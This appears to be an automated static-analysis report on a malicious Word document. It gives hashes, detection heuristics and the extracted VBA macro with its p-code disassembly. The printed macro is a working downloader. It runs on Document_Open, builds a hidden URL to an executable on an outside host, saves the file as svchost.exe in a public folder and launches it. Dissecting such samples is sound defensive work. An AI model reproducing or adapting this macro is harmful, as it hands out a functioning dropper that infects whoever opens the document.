Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1d79b4f918e25037…

MALICIOUS

Office (OLE)

32.0 KB Created: 2014-07-17 09:14:00 Authoring application: Microsoft Office Word First seen: 2015-10-04
MD5: 7052b34f06729166a30ffcb0924576d8 SHA-1: 4df63a27b37acea9b5e53689bd96221f0f67d025 SHA-256: 1d79b4f918e2503746a4383c63a3416e2a9b23abd2133bbb866779425f7789ab
470 Risk Score

Heuristics 12

  • ClamAV: Doc.Downloader.Sload-6961205-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6961205-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            executionBegin = Shell(Management, windowStyle)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
            Set wsh = VBA.CreateObject("WScript.Shell")
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
      "URLDownloadToFileA" (ByVal MicrosoftEssential As Long, ByVal OffensiveSecurity As String, ByVal _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            Set wsh = VBA.CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5755 bytes
SHA-256: cc4f41ca8807aa38005ccc608bd11ba4594ce5135216b4aa329eb3f3369b786f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function Wikipedia Lib "urlmon" Alias _
  "URLDownloadToFileA" (ByVal MicrosoftEssential As Long, ByVal OffensiveSecurity As String, ByVal _
    ResidentEvilFour As String, ByVal PlayStationPortable As Long, ByVal NepalEighthWonderofWorld As Long) As Long

Private Sub Document_Open()
        
        Dim TempStart As String
        Dim TempColon As String
        Dim TempSlash As String
        Dim TempFirst As String
        Dim TempSecond As String
        Dim TempThird As String
        Dim TempFourth As String
        Dim TempFifth As String
        Dim TempSixth As String
        Dim FinalTemp As String
        Dim Management As String
        Dim WindowsOpen As String, ext As String
        Dim buf, ret As Long
        Dim LinkOne As String
        Dim LinkTwo As String
        Dim LinkThree As String
        LinkOne = "http"
        LinkTwo = "://talent2.es"
        LinkThree = "/wp-includes/csss/loda.exe"
        WindowsOpen = LinkOne + LinkTwo + LinkThree
        buf = Split(WindowsOpen, ".")
        ext = buf(UBound(buf))
        TempStart = "C"
        TempColon = ":"
        TempSlash = "\"
        TempFirst = "Users"
        TempSecond = "Public"
        TempThird = "Documents"
        TempFourth = "svchost"
        TempFifth = "."
        TempSixth = "exe"
        FinalTemp = TempStart + TempColon + TempSlash + TempFirst + TempSlash + TempSecond + TempSlash + TempThird + TempSlash + TempFourth + TempFifth + TempSixth
        
        Management = FinalTemp
        ret = Wikipedia(0, WindowsOpen, Management, 0, 0)
        
        Dim wsh As Object
        Set wsh = VBA.CreateObject("WScript.Shell")
        Dim waitOnReturn As Boolean: waitOnReturn = True
        Dim windowStyle As Integer: windowStyle = 1

        Dim executionBegin
        executionBegin = Shell(Management, windowStyle)
End Sub









' Processing file: /opt/analyzer/scan_staging/60f63d1660b24d0d99fdeded27efa02c.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4068 bytes
' Line #0:
' 	LineCont 0x0008 07 00 02 00 14 00 04 00
' 	FuncDefn (Private Declare Function PlayStationPortable Lib "TempSlash" (ByVal NepalEighthWonderofWorld As Long, ByVal urlmon As String, ByVal Document_Open As String, ByVal TempStart As Long, ByVal TempColon As Long) As Long)
' Line #1:
' Line #2:
' 	FuncDefn (Private Sub TempFirst())
' Line #3:
' Line #4:
' 	Dim 
' 	VarDefn TempSecond (As String)
' Line #5:
' 	Dim 
' 	VarDefn TempThird (As String)
' Line #6:
' 	Dim 
' 	VarDefn TempFourth (As String)
' Line #7:
' 	Dim 
' 	VarDefn TempFifth (As String)
' Line #8:
' 	Dim 
' 	VarDefn TempSixth (As String)
' Line #9:
' 	Dim 
' 	VarDefn FinalTemp (As String)
' Line #10:
' 	Dim 
' 	VarDefn Management (As String)
' Line #11:
' 	Dim 
' 	VarDefn WindowsOpen (As String)
' Line #12:
' 	Dim 
' 	VarDefn ext (As String)
' Line #13:
' 	Dim 
' 	VarDefn buf (As String)
' Line #14:
' 	Dim 
' 	VarDefn ret (As String)
' Line #15:
' 	Dim 
' 	VarDefn LinkOne (As String)
' 	VarDefn LinkTwo (As String)
' Line #16:
' 	Dim 
' 	VarDefn LinkThree
' 	VarDefn Split (As Long)
' Line #17:
' 	Dim 
' 	VarDefn wsh (As String)
' Line #18:
' 	Dim 
' 	VarDefn CreateObject (As String)
' Line #19:
' 	Dim 
' 	VarDefn waitOnReturn (As String)
' Line #20:
' 	LitStr 0x0004 "http"
' 	St wsh 
' Line #21:
' 	LitStr 0x000D "://talent2.es"
' 	St CreateObject 
' Line #22:
' 	LitStr 0x001A "/wp-includes/csss/loda.exe"
' 	St waitOnReturn 
' Line #23:
' 	Ld wsh 
' 	Ld CreateObject 
' 	Add 
' 	Ld waitOnReturn 
' 	Add 
' 	St LinkOne 
' Line #24:
' 	Ld LinkOne 
' 	LitStr 0x0001 "."
' 	ArgsLd windowStyle 0x0002 
' 	St LinkThree 
' Line #25:
' 	Ld LinkThree 
' 	FnUBound 0x0000 
' 	ArgsLd LinkThree 0x0001 
' 	St LinkTwo 
' Line #26:
' 	LitStr 0x0001 "C"
' 	St TempSecond 
' Line #27:
' 	LitStr 0x0001 ":"
' 	St TempThird 
' Line #28:
' 	LitStr 0x0001 "\"
' 	St TempFourth 
' Line #29:
' 	LitStr 0x0005 "Users"
' 	St TempFifth 
' Line #30:
' 	LitStr 0x0006 "Public"
' 	St TempSixth 
' Line #31:
' 	LitStr 0x0009 "Documents"
' 	St FinalTemp 
' Line #32:
' 	LitStr 0x0007 "svchost"
' 	St Management 
' Line #33:
' 	LitStr 0x0001 "."
' 	St WindowsOpen 
' Line #34:
' 	LitStr 0x0003 "exe"
' 	St ext 
' Line #35:
' 	Ld TempSecond 
' 	Ld TempThird 
' 	Add 
' 	Ld TempFourth 
' 	Add 
' 	Ld TempFifth 
' 	Add 
' 	Ld TempFourth 
' 	Add 
' 	Ld TempSixth 
' 	Add 
' 	Ld TempFourth 
' 	Add 
' 	Ld FinalTemp 
' 	Add 
' 	Ld TempFourth 
' 	Add 
' 	Ld Management 
' 	Add 
' 	Ld WindowsOpen 
' 	Add 
' 	Ld ext 
' 	Add 
' 	St buf 
' Line #36:
' Line #37:
' 	Ld buf 
' 	St ret 
' Line #38:
' 	LitDI2 0x0000 
' 	Ld LinkOne 
' 	Ld ret 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	ArgsLd PlayStationPortable 0x0005 
' 	St Split 
' Line #39:
' Line #40:
' 	Dim 
' 	VarDefn executionBegin (As Object)
' Line #41:
' 	SetStmt 
' 	LitStr 0x000D "WScript.Shell"
' 	Ld Mac 
' 	ArgsMemLd Shell 0x0001 
' 	Set executionBegin 
' Line #42:
' 	Dim 
' 	VarDefn Document (As Boolean)
' 	BoS 0x0000 
' 	LitVarSpecial (True)
' 	St Document 
' Line #43:
' 	Dim 
' 	VarDefn id_0262 (As Integer)
' 	BoS 0x0000 
' 	LitDI2 0x0001 
' 	St id_0262 
' Line #44:
' Line #45:
' 	Dim 
' 	VarDefn id_0264
' Line #46:
' 	Ld ret 
' 	Ld id_0262 
' 	ArgsLd id_0266 0x0002 
' 	St id_0264 
' Line #47:
' 	EndSub 
' Line #48:
' Line #49:
' Line #50:
' Line #51:
' Line #52:
' Line #53:
' Line #54:
' Line #55:

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